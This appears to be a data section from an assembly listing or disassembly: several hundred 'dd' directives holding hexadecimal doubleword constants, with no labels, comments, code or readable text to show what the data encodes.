dd 9C7365F7h, 0A92C3107h, 0A300AB40h, 0D7033Eh, 58243FB5h
dd 34B76C7Fh, 0ACF50700h, 43B89579h, 0EE770FCFh, 0D6003164h
dd 3ED2ED60h, 174FFB00h, 0FC98618h, 25A33F66h, 0DC002D58h
dd 0B84AC189h, 3A01BB87h, 29AB77C8h, 0D834829Bh, 80A4FC4Ch
dd 0B24822D8h, 0BD007A10h, 0FC8F31CFh, 60AC0B20h, 0E12299Bh
dd 0CC00D6FBh, 0D423938Ah, 0DC72E5h, 2C8FF417h, 0AA9D4387h
dd 3EBAC700h, 0C2660853h, 79A91DCEh, 145D0049h, 76233918h
dd 2364338h, 0E8BBB951h, 5DCC68C3h, 0B1B41367h, 9CEC001Fh
dd 0AE7E74B3h, 0A9A00202h, 40BE0AA5h, 12B26F24h, 0C26CBCh
dd 4FB460A4h, 0C5002FFAh, 1B410AE8h, 68D171Ch, 0C54D194h
dd 0F92461C0h, 0C787D44Ch, 0D1B3ECB0h, 0A0AEA380h, 0A07E8D92h
dd 1F6AD310h, 4F1C3F0Bh, 49D3DC4h, 1E92F190h, 9BD0FC00h
dd 0ECB3E27h, 6BCA0B6Ch, 79537Eh, 64497F82h, 0C900FF46h
dd 122B2263h, 0DCC758Ah, 0E1610D3Fh, 0ECE0E090h, 50AF73Ah
dd 0B88DBF4Ch, 0A0D1400Ch, 0AD930ED7h, 0C2CF706Fh, 72C99EA1h
dd 898750Bh, 0A066C758h, 1408DFD0h, 1470C9ACh, 18791501h
dd 0FF57265Eh, 4EDEB4E8h, 67317800h, 435BA3A8h, 94870306h
dd 7BBD39E4h, 0EE1332C0h, 0D01F2EE0h, 758EA488h, 0F4188042h
dd 48E4A6h, 1F706BAEh, 0F12F8EA7h, 9C985A00h, 0E9A4EB3Dh
dd 0BC63001Ah, 0ABE3833h, 7009623h, 0E2C2FBDh, 407E4Dh
dd 533C10B9h, 3008CBCFh, 6A886300h, 9AEBA92h, 0B61C071Fh
dd 373F5A93h, 3CA840F0h, 900018F8h, 31EB7E0Ch, 50AE9DDBh
dd 75380B0h, 5C5BF4Eh, 2403FF2Dh, 41E85AEBh, 0F4A56C6h
dd 5BAFC4C1h, 63AAB4E0h, 10FFD467h, 0F40B79C1h, 680152EBh
dd 0FA4A0953h, 0E7417286h, 6660BE01h, 84D7028Dh, 0DE6BCBE0h
dd 0CE52AC68h, 47B4BA02h, 802E26D9h, 1A63C4DBh, 0FAD301E3h
dd 5CB9E80Bh, 2FFC300Ah, 0C8DF1E00h, 0EA0113FBh, 252D004Eh
dd 620C7226h, 5200C439h, 4F495CBEh, 0F6F22A6Eh, 0A6F0DCh
dd 181AA836h, 0BB099EE2h, 6DC34B00h, 0C8052CD8h, 100F1DDEh
dd 38258060h, 0F5AE65B5h, 0AABA8000h, 554764E0h, 0C3722666h
dd 0DE7E00DDh, 94BC79Dh, 89C57A06h, 0A0A8E9h, 902AEBF6h
dd 7A2D801h, 0C25C9D00h, 10146658h, 2D2F175Eh, 4F840B8Dh
dd 39181D0Eh, 0AE00A2AAh, 0F0235E08h, 929D80D9h, 16D013Ch
dd 3BF21A2Bh, 19947481h, 0E0523Ah, 0DF65F340h, 5D31C05Fh
dd 0B587CD0h, 952BD20Fh, 0B4DB2121h, 48F86437h, 28A49103h
dd 0A8F880BBh, 0EC0B2Dh, 0F325409Ah, 0E75C0E4Ah, 4C00D67Bh
dd 122DC555h, 708F1654h, 0C8570018h, 5A24ADAh, 81002953h
dd 1B33822h, 5C702Ah, 0ECFE686Ch, 174D8C58h, 0A7F07150h
dd 0DE5B7700h, 9FFC44Ch, 0B9D40EF0h, 3BA2ED3Dh, 5940EA15h
dd 8004706h, 24A7F9E1h, 7F8BAEh, 0F4619E1Eh, 3EABC4EBh
dd 0CB99CE00h, 0DDD87064h, 0DBD2033Ch, 51BC822Eh, 0AAAC7D90h
dd 55A55000h, 0E0443888h, 0CE8E007Ah, 0B5D8F862h, 0CDE2E993h
dd 0A8177D3Ch, 7101D4EDh, 9E81F1B0h, 0A6C0E35Fh, 0F8C0A176h
dd 0E0F526E6h, 0AA001574h, 71062638h, 235BCCEh, 0E94FECC9h
dd 0CCA0864Eh, 40DD5DA3h, 1617C403h, 0C0053C1Bh, 5241BBh
dd 22316B0Bh, 7C6456FAh, 6AEB9707h, 42840647h, 2F650780h
dd 0E4C5045Ah, 0C21ACB76h, 27607D19h, 92070C21h, 0BB0EB6B4h
dd 121D2A60h, 0DCD904A1h, 80C0D033h, 2BC33F4Bh, 6348F4E0h
dd 89E91304h, 0F2526C40h, 4C5684ADh, 0EA7D08BFh, 0F9F1009Ch
dd 0D694326Bh, 57FADA07h, 44B17501h, 0EC99897Fh, 6EF5A181h
dd 248E079Ch, 973D4F30h, 0BDE88270h, 0C859DE24h, 41D60Ch
dd 5BC9BADAh, 6FCD55A7h, 1B0BC67Bh, 983128Dh, 8240068h
dd 17AFD3h, 0D5524496h
dd 6C9A587Fh, 2377CC00h, 0E7E471F7h, 9EB7004Eh, 7F02EC67h
dd 70B83D3Ah, 9820B6A0h, 879A0901h, 75B6BE55h, 300A2CE4h
dd 263097FBh, 382E2E1Dh, 0CC067C8Fh, 0C051B5D4h, 4F164221h
dd 200037BAh, 14F1BC74h, 7E1F924h, 64E83A94h, 0AE43B067h
dd 3E604672h, 0D9381178h, 0C1C600F7h, 234D195Ah, 6648A0E0h
dd 681B1902h, 98FB3229h, 3D635AEh, 0C847F5EBh, 8CD88A29h
dd 1201C5E2h, 0E13E6963h, 0C42954F0h, 0F1168510h, 9EF83275h
dd 0AD0D24EFh, 404F13F4h, 27A726B0h, 443CEEFFh, 2C020024h
dd 0D084AAB9h, 0FE4C002Bh, 72D1E4E8h, 153D1A2Eh, 278C8013h
dd 0A9FB93D5h, 3DA87A99h, 0EB80161Ch, 60B75AE8h, 0D4ECCF90h
dd 0B430DB03h, 54F0E081h, 72246Ch, 0CD665A16h, 89AA4E78h
dd 810183B8h, 4C26F868h, 0BBC84806h, 0C521817h, 192811F9h
dd 0A2F82A79h, 6737F103h, 913AC27Bh, 0A0ECBF6Eh, 4BB51639h
dd 1727000Bh, 22E6EF07h, 74671819h, 542C3D78h, 2B9984h
dd 0B0C9734Bh, 0E1E0FCCh, 0F894CA7Fh, 66054104h, 0F4D8C0BEh
dd 728FE17h, 920CFCA5h, 2971D6E6h, 41F51449h, 0B405FC20h
dd 909B239Ch, 0A70CAB68h, 0A6D16100h, 0E36F63C5h, 287030C3h
dd 0DB095E38h, 6853D400h, 0B32E84Dh, 2AE100D3h, 0AB6DFD60h
dd 0F00082DDh, 3B1D7A49h, 30C0C49Eh, 2B419CA8h, 0F400C9DFh
dd 7A6AFE14h, 942D71h, 120805AFh, 8EBE8782h, 5667D401h
dd 715AB72Eh, 365D474h, 6B5FE8E6h, 358BF6FCh, 0E8B90228h
dd 842CC724h, 0E2F27700h, 4D9D2Eh, 0A1958226h, 0EABC419Ch
dd 9F992109h, 0FC44647h, 46BE7F14h, 0AF558680h, 9600DC5Dh
dd 0B6CD7E0Dh, 11CD1E1h, 0F637E504h, 215B12E9h, 0A0704715h
dd 0FF565478h, 6188B05h, 0F092C809h, 0BCC6DEh, 6F0C32A2h
dd 251A3BD3h, 57F9231Dh, 4FB76180h, 4D1E62D0h, 440520BCh
dd 192CE67h, 1E415C0h, 0B0702028h, 8029433Bh, 0D4348A1Eh
dd 42224Dh, 8EF8D7CAh, 7C4A60C0h, 0D88D9903h, 907DA98Bh
dd 12A7694h, 3E6AA11Bh, 300A7230h, 0DB1D2EE8h, 8B3A37E0h
dd 22B108E5h, 5215F68Ch, 243F2570h, 0EC0A5818h, 0F9047440h
dd 0EE9DD000h, 6437FD19h, 408E3F50h, 84C020Eh, 68007658h
dd 1F2E3891h, 303C47h, 70D3E003h, 0B0B5E50Bh, 1F2E79CFh
dd 0EC1E6424h, 0DB8FFDC0h, 0AD94D7h, 66503B8Dh, 7BF7BBDCh
dd 8BE0BC05h, 54034AF6h, 0B8D11C67h, 0B10C43h, 5DFB4915h
dd 46B39426h, 39765F00h, 0DC30ED3h, 57280E7Ch, 0E4C7D172h
dd 3AC8F0C7h, 0D600B523h, 0C5F0F229h, 59609h, 1EC05C9Ch
dd 0A1F16CF6h, 2C00E972h, 0E312E551h, 62A5EAh, 0B69046F5h
dd 0D9AAE019h, 97A7D600h, 70F4EDEh, 77B030B1h, 83C995E1h
dd 932E4501h, 0CAF64CE0h, 217D0898h, 831FC1F2h, 9581BDD8h
dd 0BE8E8BDDh, 0A6DBE181h, 3A07D402h, 5B4924C0h, 1A0E049Ch
dd 0B410C848h, 8C000478h, 443DC240h, 66E50CD1h, 2171088Dh
dd 3807037Ch, 244F8A57h, 0F3CD7FA3h, 0C15818E7h, 72138878h
dd 32061579h, 0B2FF73A4h, 92753AA1h, 0B08D391Fh, 13ADE811h
dd 981FBE7Dh, 3A78B0ECh, 21DE30EDh, 1395CDh, 0C928C838h
dd 0BEEC2D36h, 9123961Ch, 0E003AC4Eh, 9C9E7532h, 5CAC9A53h
dd 4600ACE8h, 0C0EBE0D1h, 0EC74F0C9h, 8E210460h, 1E447C3h
dd 0E6319596h, 0E09A039Eh, 703001D2h, 416FB0C1h, 60B167D1h
dd 0F9C0C3DFh, 10C0186Ch, 970CCh, 0BB246FB3h, 8502360h
dd 1A8F9000h, 2E2D43E0h, 0EFFF004Bh, 28E40633h, 791C971Fh
dd 5EC08E41h, 0E7D2134Dh, 8436079Ah, 0F1AD3491h, 81F4554Ch
dd 9DBB7321h, 5AF48AE8h, 0BD923331h, 2100FB08h, 0CC9DB335h
dd 0F1A50Fh, 0BBFED088h, 0EA77F82Eh, 7A13B801h, 611E4D04h
dd 3E3E71BCh, 0E7017CDCh, 0DF7D6FB9h, 92088CF1h, 403B204Eh
dd 9E00B202h, 482B18C0h, 40883D98h, 81005E1Ch, 0A46409A8h
dd 39546234h, 67803E42h, 0FC401D65h, 993004C9h, 165E5179h
dd 3D8E98D6h, 0CB87112Ch, 5C98DEEFh, 8630AAA0h, 3B2D2935h
dd 0B617033Ch, 0CB7B9D4Fh, 21C0097Ch, 833C230Dh, 200C00BEh
dd 0F07321AFh, 3D06D2FEh, 0E557460h, 34D0728h, 60DE7D29h
dd 0AB39FC0Ah, 0B2EC70C0h, 0E306EB78h, 1CEEA096h, 13B70FDFh
dd 0F6F20CFFh, 0D3009D28h, 196F8B64h, 0BEC343h, 0B8FF43Eh
dd 0DC3BBFD8h, 915CCA00h, 504566D9h, 252907CDh, 50F42270h
dd 0EA162138h, 11DE0F05h, 0AF82A2h, 0F3FA361Fh, 60002F03h
dd 9219B1FEh, 0D304BFh, 3922F9B5h, 7A9ACBC7h, 0D0C1731Dh
dd 5E4F1081h, 59D4CDE7h, 0A9510016h, 3B6DF327h, 0E4005A69h
dd 0DBCCDF62h, 0C556DAh, 0D3610E35h, 1E69A4C1h, 8AF8F205h
dd 4381FC6h, 0A04A3E5Fh, 0CFBE814h, 0B79AE603h, 0BCA83C82h
dd 9CC458Eh, 38621F1h, 4947B7AFh, 2CA8BFFEh, 917913D8h
dd 90B95F00h, 97F80DCBh, 0D5A600BDh, 0DA02CA84h, 0DC00D28Ah
dd 623E7EE8h, 0C0C230F0h, 0A7411B50h, 0C40929E3h, 0AE7570h
dd 0F789DA59h, 0D50009Ch, 2A13B369h, 0AC0A1FC4h, 20B67641h
dd 8C79BD78h, 0B4C57406h, 0E18D80h, 5166AD2Ah, 0DC039A1Bh
dd 8821333h, 0D321003Eh, 160E6674h, 0FB60E371h, 218BF258h
dd 9C07541Dh, 6D520AC2h, 3EA023F7h, 1E190930h, 97049F18h
dd 3F58BBD4h, 8029AB82h, 0AC8AFE88h, 0BCF75527h, 668FCh
dd 0E29E61C0h, 0E1CE7926h, 8B600FE8h, 6801A20h, 8E38005Ch
dd 0FD1D2341h, 0D238A49Bh, 98DF80EDh, 1157DE80h, 4E60CE2Eh
dd 0E3E20256h, 0D4A79D0Eh, 0F24A4FA8h, 5D768ECh, 62AE3C7Fh
dd 8120EDECh, 67B798h, 0A5EF07C1h, 9676F1EAh, 483941C3h
dd 0EEE90508h, 0EFDB8Dh, 0D6540AECh, 0E97C15FCh, 858C21C1h
dd 1B00C5A7h, 9505371h, 331E0EE0h, 29F04239h, 1015C98Eh
dd 14B238EBh, 14B8DDA7h, 10ECB8D9h, 1600E207h, 0B715DC3Eh
dd 7500D321h, 941879B6h, 0A2BA7B4h, 2ABD8704h, 393B0384h
dd 9F801493h, 0CC78085Fh, 710E4130h, 0CB907BF2h, 0EC807AD1h
dd 0A4AD8509h, 8E2EDC00h, 0DB92A31Bh, 0D4DA5489h, 0EAB6A1E1h
dd 102B7020h, 3A5C4937h, 6F1585E3h, 383BD5Dh, 0F771B8DAh
dd 0A4E8C005h, 9DE7A6A2h, 0F689AA00h, 1D7DF8ABh, 0FF89C025h
dd 8CAF4D4Fh, 0C22E3406h, 60081CA4h, 0E7E621DEh, 975B34Eh
dd 0E870E001h, 8CDB931Bh, 0FC14C40h, 4EDE4051h, 0AA5DEB3Ah
dd 4110B8BFh, 9F05108Bh, 3003D0D2h, 0C575E790h, 80889D49h
dd 1B52668Ch, 41448CD2h, 66B31CD0h, 0F73F005Dh, 67CD7E1h
dd 4B9E78C1h, 3CD80251h, 18C7249Dh, 0E28E00BEh, 764AA9D2h
dd 0B1E02737h, 68743D0h, 0B8AD0060h, 91634E40h, 0F0A0F5A8h
dd 0A40AED22h, 0E0DA01E0h, 0B9E33406h, 0DB8A0081h, 410F6961h
dd 2C03B175h, 738D8EC4h, 0B03042E5h, 4E017C23h, 4C8CB04Dh
dd 0E988D718h, 3E4E38E6h, 280CDE82h, 889061F1h, 351D6B39h
dd 0DFC10785h, 0A2DB9056h, 61BE39BCh, 80F64D14h, 8C4AB050h
dd 68B7C004h, 0B862963Ch, 0B79D7C20h, 6AA7001Bh, 987B8103h
dd 4500215Eh, 0DBB0874Ch, 0F2AFEADh, 0B73322A0h, 0CB116978h
dd 767A3901h, 0BD4F5D4Ah, 593F443h, 63415179h, 69A41BDEh
dd 81E291E3h, 4D5388B0h, 948C8B11h, 0CA00229Ch, 5A184EEBh
dd 1E074999h, 40FB628h, 0C8F214B2h, 0B4001EFCh, 37E867EFh
dd 3075D027h, 12C67D0Ch, 5600A3A5h, 453F0943h, 1394BB44h
dd 652E44Dh, 0A15813E0h
dd 0B1445090h, 480790C5h, 5F064C59h, 0F0CF6907h, 0B886A229h
dd 0E943810Ch, 547803DEh, 323947D1h, 0C99300A7h, 7F004991h
dd 3E862D03h, 0C1375587h, 26151450h, 0C8844BACh, 0E044C0DDh
dd 49241B90h, 64A6E853h, 12B62238h, 438F87DBh, 30D75F18h
dd 3D0CB8DEh, 80414D6Fh, 0E1071A9Ah, 0FC411802h, 5AD310DCh
dd 0EA6B2C01h, 698E0456h, 48B89015h, 10024F34h, 5F223F99h
dd 30C0C4FDh, 80A1F61Eh, 0CC003177h, 0B56D045Bh, 0E2E571h
dd 13D138A6h, 26E702A7h, 529FA08h, 533B008Bh, 18F5B51Dh
dd 15DF9D01h, 6FA7D32Eh, 0C5168036h, 5FF80352h, 0C0049235h
dd 0D994D733h, 43E97488h, 0B79B02FBh, 0C7CE3CCBh, 0B4850324h
dd 5DF860B7h, 0F0263450h, 84699470h, 8B629AC8h, 0AA2F8475h
dd 884040D8h, 6600B2D1h, 0EB6F5B8Ch, 48B51B8Dh, 0DAFCFC02h
dd 8660008Ch, 0BF7616BDh, 75037DE8h, 0B063E3B9h, 1D082C97h
dd 0B1FC4074h, 9178F3Ah, 0CEA84A2h, 15998CC4h, 61C2FE13h
dd 0D2A37800h, 5D46ACBh, 53599B22h, 8548D2A9h, 0B004D663h
dd 0E189115h, 61AF2880h, 8DE20596h, 6C174CBh, 28B7709Eh
dd 0AC3D7200h, 516C5A3Fh, 821F1DD0h, 3E2E86A4h, 9004187Ch
dd 0BA48C8A1h, 40509CC3h, 58F08861h, 1380705Fh, 38BC790Ch
dd 0D58ECE1Ah, 91C01D29h, 772D8737h, 1354A281h, 9050FAFDh
dd 9DACE61h, 0D1BBF235h, 0A618780Ch, 0E38DD609h, 1D089DEh
dd 304CA300h, 2340E008h, 77192C3Fh, 0FB490063h, 0FCACA058h
dd 0B8507459h, 0B7D184Ch, 0C4C188BFh, 0C573AC13h, 0C0838408h
dd 8CAD4D51h, 0D8224446h, 4EE9E401h, 8CF2699Fh, 70F9E840h
dd 0FF9E166Bh, 0C9AC1815h, 0E892A627h, 6E2610E8h, 8008B57h
dd 599C99B7h, 46030084h, 0F5776365h, 0DCB1A6DAh, 88B7F702h
dd 8C8400D0h, 6050963Bh, 590007DCh, 0DD90BAB6h, 908A3137h
dd 0D16101C4h, 5B758CBDh, 0A0E047F0h, 11E3EA03h, 0A400C441h
dd 0C35A0137h, 0F491BB30h, 209903E9h, 58CE6DCh, 3C84B79Ch
dd 3508EB6h, 19B7B990h, 6BF80BA2h, 780261FDh, 920BF3A9h
dd 2AA38074h, 0BC383Eh, 0DCC90360h, 0F8AA9C70h, 51B6FB30h
dd 7492261h, 802AC2CFh, 0E9077084h, 0D2020AC7h, 1802FB55h
dd 87AC84FDh, 0D9F0B05Eh, 8F2085EBh, 0A320C8C0h, 6B8E89h
dd 0DD981F6Ch, 92A0A1ACh, 94B98043h, 23F83A17h, 1BF6008Bh
dd 0D88AC815h, 0D8A5DA29h, 0E90ABF16h, 5902800Ch, 5258656Fh
dd 1B146E8h, 61BF067Fh, 0D0CE176h, 13771D88h, 47A6A06h
dd 410F1004h, 303748FAh, 58300835h, 521C8C80h, 0CC7E8C4Dh
dd 4ACDE068h, 999A0B4Dh, 4024589Eh, 0E0041240h, 0D5010728h
dd 0B8948957h, 0CE810018h, 5939D33Dh, 249D722h, 21766080h
dd 0F84540E2h, 0F160C9E4h, 57003F31h, 0E2F0178Ch, 9921634Dh
dd 39ECAC50h, 59FA331Fh, 421F793Ah, 6930B3A4h, 61C11106h
dd 830F88A6h, 1D06813Bh, 57F93788h, 95D56F03h, 0A0E5FABFh
dd 610DE37Fh, 0C66099C8h, 1DE02099h, 6960E01h, 0C56A5CF1h
dd 743420A4h, 6E0C3746h, 0E7D92A89h, 23A8014Dh, 66AF01B6h
dd 188A1B4Fh, 76CD8845h, 0C1326600h, 78A6C8C3h, 0B0A2B853h
dd 6038A238h, 7779AD1Ch, 99D80304h, 659B7189h, 0D58C1804h
dd 8C91ECC0h, 0F4622B06h, 3B005A3Eh, 0D4FE3FEEh, 4A091973h
dd 817B1EF3h, 29DA63C0h, 479BAD00h, 80E95F25h, 0ED9EF808h
dd 16E702AFh, 8E653A06h, 71207452h, 7F5900F5h, 8E4DADFh
dd 0AE1EFD33h, 74577797h, 93C67040h, 53767AABh, 0E4842037h
dd 0FC0864AFh, 685C077h, 8646619Dh, 37001022h, 0CC95067Dh
dd 12FAE8ABh, 81CD0FF9h, 2D2CA690h, 52900034h, 0E5D28C8Dh
dd 0FAFF0025h, 555A2E13h, 8E28A373h, 0A8129CCAh, 5704035Fh
dd 40A04501h, 40989E4Ah, 0A8154D77h, 476C2807h, 0A07FF9B0h
dd 6BC4C02Bh, 40B56038h, 4C79C58Bh, 546E1C00h, 0FA484480h
dd 0A1309084h, 9C10C144h, 881B9EA4h, 1161AA6Bh, 18F00C20h
dd 0BB190B1Eh, 0CDBA0E4Bh, 0F121607Fh, 248780AFh, 0E600271Ch
dd 0B039848Fh, 4894F9Ch, 0DF5FD512h, 0AE04E01Ch, 505AF22Eh
dd 0A33C1440h, 32940180h, 595DA422h, 0DC0425D7h, 0EA0F35B8h
dd 851BE26Bh, 0C00BCCFh, 80B5B7Eh, 50A14CE4h, 27944900h
dd 0CC48E63h, 0DF277575h, 0EB780201h, 7FA60113h, 0FD40308Ch
dd 91F4340h, 0B5573ED5h, 2579F040h, 336DCE02h, 9087DB89h
dd 59DFE1ECh, 1D1388B4h, 936C2004h, 7316E46Fh, 0ED1F08C9h
dd 34EA63C0h, 66A0D761h, 507C310Dh, 5F362B07h, 0B6B0784Dh
dd 5F98Dh, 0CEDBA09Bh, 0B9DC53E6h, 0BCC4E800h, 702601B5h
dd 47700AAh, 53D68A8Dh, 0F2008531h, 0D16015AEh, 0A45B507h
dd 93593749h, 0C57A03AFh, 0D4A83D64h, 3A38631Fh, 0C17900F5h
dd 9912F62Fh, 451A00FEh, 0EF47D6A8h, 5C079B63h, 64AF7B04h
dd 3913A240h, 80F50021h, 833BA8EEh, 0C500BDC4h, 0F109D253h
dd 76333Fh, 74DB34F9h, 3C379069h, 0DFD7A500h, 83B891AFh
dd 0B4F80055h, 0FC8AFF68h, 3400261Ah, 53A9B984h, 344186Bh
dd 5A2B57C3h, 71B032C9h, 9F60549Ah, 0DE8079FEh, 0A3241E37h
dd 835D4768h, 0EB31A1B1h, 60ADE56Dh, 0E0004BBCh, 7A247FF3h
dd 2CA59Dh, 0BD15C5A3h, 0FC9125B5h, 91AC600h, 0D9D5549Ch
dd 14580650h, 59F26703h, 92A28500h, 363A5B51h, 0EE8F2809h
dd 0BF18C1ACh, 10694CD4h, 31D38FCh, 11C9485Dh, 4A80F7B3h
dd 453CFEF5h, 0B1ECE008h, 77BD828h, 0A5B60C63h, 9065960Fh
dd 0D13E0B00h, 0F828C34Dh, 0AB2A0002h, 971F9BD0h, 0CEE00F8Ah
dd 86571103h, 0A0EFFCC9h, 4C506B01h, 0CA0054F0h, 5FD8449h
dd 2903DD41h, 1B57E5BAh, 0E424B8A2h, 985F078Dh, 31AE8881h
dd 0F0B082C6h, 5D0119A6h, 85020ECAh, 0F420C752h, 0A5EA2Eh
dd 2D0ACE8Eh, 95DC197Bh, 0C6828B00h, 0E5DD3A65h, 46FA00F0h
dd 0F29E5CF6h, 7B090B7Fh, 80B2EC6Ch, 0EFD212BAh, 0B8410244h
dd 3EE80740h, 52CB80A0h, 0E300CFFEh, 17F5A2B5h, 6924395h
dd 302774D4h, 600020B7h, 1A4829C5h, 1EA7A973h, 4B9D90E9h
dd 0E681DD7Fh, 8012E30Ah, 5AB18C50h, 728C983h, 0E889738Dh
dd 58F4F06Dh, 811578B6h, 7D0171Bh, 0ECCF2AAAh, 0C80C7E4h
dd 0C057A5h, 9A8165B5h, 4DBFB952h, 44166D00h, 7750758Dh
dd 27FAD7h, 0E8DBA469h, 450207F8h, 0B5D67203h, 0E990EA76h
dd 0AE11B6Bh, 627E9083h, 8DE01A9Fh, 660CAF1h, 5F49FC30h
dd 9B6800DEh, 1EB5EC27h, 1400CC3Bh, 667819DAh, 1FCA0E89h
dd 833152h, 4503DF84h, 170092EFh, 27BBF9BDh, 0D5636Dh
dd 1EADA307h, 0D2755B84h, 0E109E8FDh, 0B40033E8h, 0DF6C792h
dd 7074DABh, 3B200491h, 0F546B0E4h, 0F0C08B9Bh, 5831F215h
dd 0A4CD54FCh, 0EB5B00BEh, 49050C88h, 0EC04E744h, 0CF0618DDh
dd 7F628490h, 0D03400A7h, 0EBD157FEh, 29005ECAh, 0F26DD481h
dd 32574BAh, 2A6EE690h, 0A1E84CDEh, 50E9497Fh, 0C53094C0h
dd 43E740EBh, 9330B1BBh, 58C4E85Fh, 2DE2026Ah, 4AF54404h
dd 0FF15CCA0h, 31002674h, 712E1EF2h, 10A40F8h, 9D3FCA7Bh
dd 800FCBA1h, 0EA480CC0h, 31936106h, 0DF59343Ch, 0D3AAEC42h
dd 0DBF88400h, 9D682FE6h, 1202F2BFh, 0F2046B7h, 0FCE0FE4Dh
dd 9363A647h, 8019BB00h, 0AA3A13D4h, 0C9D485Dh, 442B4680h
dd 0CB13A588h, 0E400868Ah, 0A0B59C3Dh, 14CD2E5Ch, 0AFC70059h
dd 3844E06Ch, 0F02A58h
dd 61421AADh, 7B38417h, 9E995AFCh, 5FFB20D3h, 0EE0348DCh
dd 7FCCAD50h, 1E7DA831h, 9AF100AEh, 2652FB88h, 0F5000C85h
dd 96E83CBFh, 0EE73482Fh, 355500ACh, 8D53C616h, 0DD003E2Bh
dd 0C861A4D2h, 7BDB9525h, 862800F1h, 0FDDAB56Fh, 0BE48129Ch
dd 144B00B8h, 0E7E1240Ch, 22263F38h, 7D425C80h, 9E67EE33h
dd 56743Ch, 449085B5h, 26D384E0h, 0E9DB86Fh, 0B3406102h
dd 0D5A8AA7Ah, 74ACF300h, 0E7DF892Ch, 85F6D8h, 67419392h
dd 63C20D82h, 0CD286A7Bh, 5F1DECB2h, 3600B612h, 6FD90ED7h
dd 1C700B9h, 0EE67B31Ah, 74008EF5h, 0D486F853h, 509A2E21h
dd 8BC7Ch, 0BA042709h, 924A29B9h, 0C3BE1000h, 0EFC95DF7h
dd 171002Ah, 2236F8A7h, 753A5829h, 8950046h, 514B1205h
dd 0C17E4868h, 10899A00h, 22BB0C6Dh, 0ABBCBD00h, 5BAD0AF2h
dd 0A86800EDh, 1CE35231h, 0BE00FA46h, 0A4CE720Fh, 7E9C91Eh
dd 0DCF2391Fh, 978EE00Ah, 0EAF8EEA9h, 3822D900h, 29371455h
dd 0D86A1264h, 676840AEh, 9E4226C1h, 76E7E400h, 85F6CEBh
dd 1DE07FBh, 0A306B310h, 2000A2FFh, 0CA9CD89Ah, 0CE492Fh
dd 61841187h, 88A1B8B6h, 7A48A001h, 24234504h, 0B4245AE5h
dd 0C94E0111h, 2B2A4DECh, 0FCE024ADh, 0FED22204h, 32833663h
dd 518DE18h, 5E85ADCBh, 77449012h, 75180841h, 0B220A260h
dd 25D701AFh, 0CD392250h, 0B870248Ch, 0DC80461Ch, 0CC1BD4h
dd 0BD73439Ch, 0DA580Ch, 4E931DE6h, 5D8AD15Ch, 8F07B2F8h
dd 61C57983h, 0D38B6900h, 0A1231C3h, 0D49CFF30h, 0CA1F9320h
dd 22C761C0h, 0BE69444h, 16E90020h, 0FE7CCFA7h, 95007706h
dd 141BCA4Dh, 0A1D0CD30h, 0F03AC9F0h, 4474991Fh, 0B8872100h
dd 4F3DB136h, 8C68C7DBh, 0C7A49E7Dh, 5A548078h, 8D037050h
dd 7EAAB2Eh, 0D5ACD0D0h, 43B13972h, 8C186F80h, 0E6A8C39Dh
dd 8E24AB00h, 2E936ACAh, 755C07FAh, 0A0EDA992h, 54236FDCh
dd 9EC47200h, 0ECB04B2Fh, 0F5B40071h, 996EAA5Bh, 0BD073A5Eh
dd 0B8AEE7C7h, 4F6634C0h, 0CDB00007h, 20FEE1EFh, 5A1CAD49h
dd 0A347904Bh, 18A20621h, 4FA5600Fh, 362C023Fh, 8AF6B610h
dd 6D727C0h, 0F695F3Ah, 0EC28780h, 0E97A003Ch, 0A046B21Ah
dd 0E6627788h, 767400D6h, 1E33BE90h, 37000116h, 9A537EA6h
dd 8389BCh, 0B65BACCAh, 12A2FEDDh, 8024EB00h, 45BEBA1Fh
dd 0FB5F2F3h, 0B103D573h, 23584800h, 3309639Ch, 2098E055h
dd 0D141F720h, 12C50053h, 8C768459h, 8901B827h, 56E26178h
dd 49F8D503h, 986A009Bh, 0B0971C40h, 141FC319h, 0C5850AD3h
dd 12C0D943h, 0B031EA72h, 7836009Fh, 0C832A1E9h, 0A890BCB9h
dd 0B4513817h, 6BF83B00h, 283B3E76h, 1810C631h, 99B45396h
dd 0D92E5118h, 0DA0EF7A0h, 96A88289h, 34108019h, 735BA10h
dd 37F2E9ACh, 4C1E417Ch, 0A438017Eh, 9EDCF0h, 0C5E6F9C4h
dd 4E96ACE8h, 0F1624700h, 0B50F3299h, 89FE13h, 8D6E503Eh
dd 65B0DB3Bh, 9306FCF0h, 0B3F8B942h, 6C6E7871h, 0B46021A1h
dd 0D48FE900h, 0E3B1D094h, 703EC70h, 0BD8E32B5h, 551E1191h
dd 0ED988372h, 0B543B737h, 5A2009h, 99843D05h, 0EC140761h
dd 5A965D94h, 63BA0070h, 0E9B5C7AEh, 3C58AD00h, 7E06AE2h
dd 8573F3h, 0DAE3284Dh, 2014C6B3h, 2EDC4200h, 0AE6A13F1h
dd 0E4C400D7h, 9129DEB9h, 0FA7FCB37h, 0FA80900h, 6345C097h
dd 0A5FC03D1h, 1249AB6Dh, 0D388A2BBh, 0A40057DAh, 0E3DB1BCBh
dd 1FBC781h, 0CC6FFA5Eh, 0DC19878Ah, 0CB58140Ah, 9FEA00D2h
dd 0F5E8B526h, 87CA0069h, 0AB90F1D4h, 2B00D862h, 6403FBF4h
dd 71BE4B82h, 0A03800E5h, 0BA1DAA2Fh, 0DE004260h, 14A2CE45h
dd 7F331A5h, 7CE5DA2Ch, 0C0A9670Ch, 0B72786C0h, 0A305FCEAh
dd 0DCD76AD9h, 0E8623680h, 0EE1D00D6h, 793BB3Eh, 8524BD18h
dd 404E280Dh, 3E5AF4A4h, 9990C9Ch, 0AF089497h, 0AD5521C0h
dd 0FD40F4h, 73E07844h, 0DBEE7A9Fh, 790B70Fh, 55D2C024h
dd 0B19ED4h, 9CA3428Bh, 1D37C344h, 0DE15CE00h, 1B3A2CB6h
dd 6C18C590h, 97E00050h, 0D99DB2B5h, 69DDF8A8h, 37EEC800h
dd 3FBAE95Ch, 0E508CC74h, 82038021h, 0A7857CC8h, 4D5AA12Fh
dd 0C7DA3220h, 4237BD21h, 484414F3h, 785F9500h, 0DAD91A9Dh
dd 0EBBB90D8h, 2180A7D1h, 0A2787773h, 0CE065096h, 170723BCh
dd 152B03B0h, 1609BDAFh, 0E745B598h, 0EA6A191Ch, 420C7864h
dd 0C71A08F9h, 0E03B548h, 6E98E2C0h, 9D984EFFh, 2F074070h
dd 5A43BCD5h, 0F0B6DDE0h, 0C107283Bh, 25713B84h, 0BE7019ECh
dd 0B2464318h, 150D629h, 0E28C1EE4h, 0C26C0DC1h, 9D8B48E0h
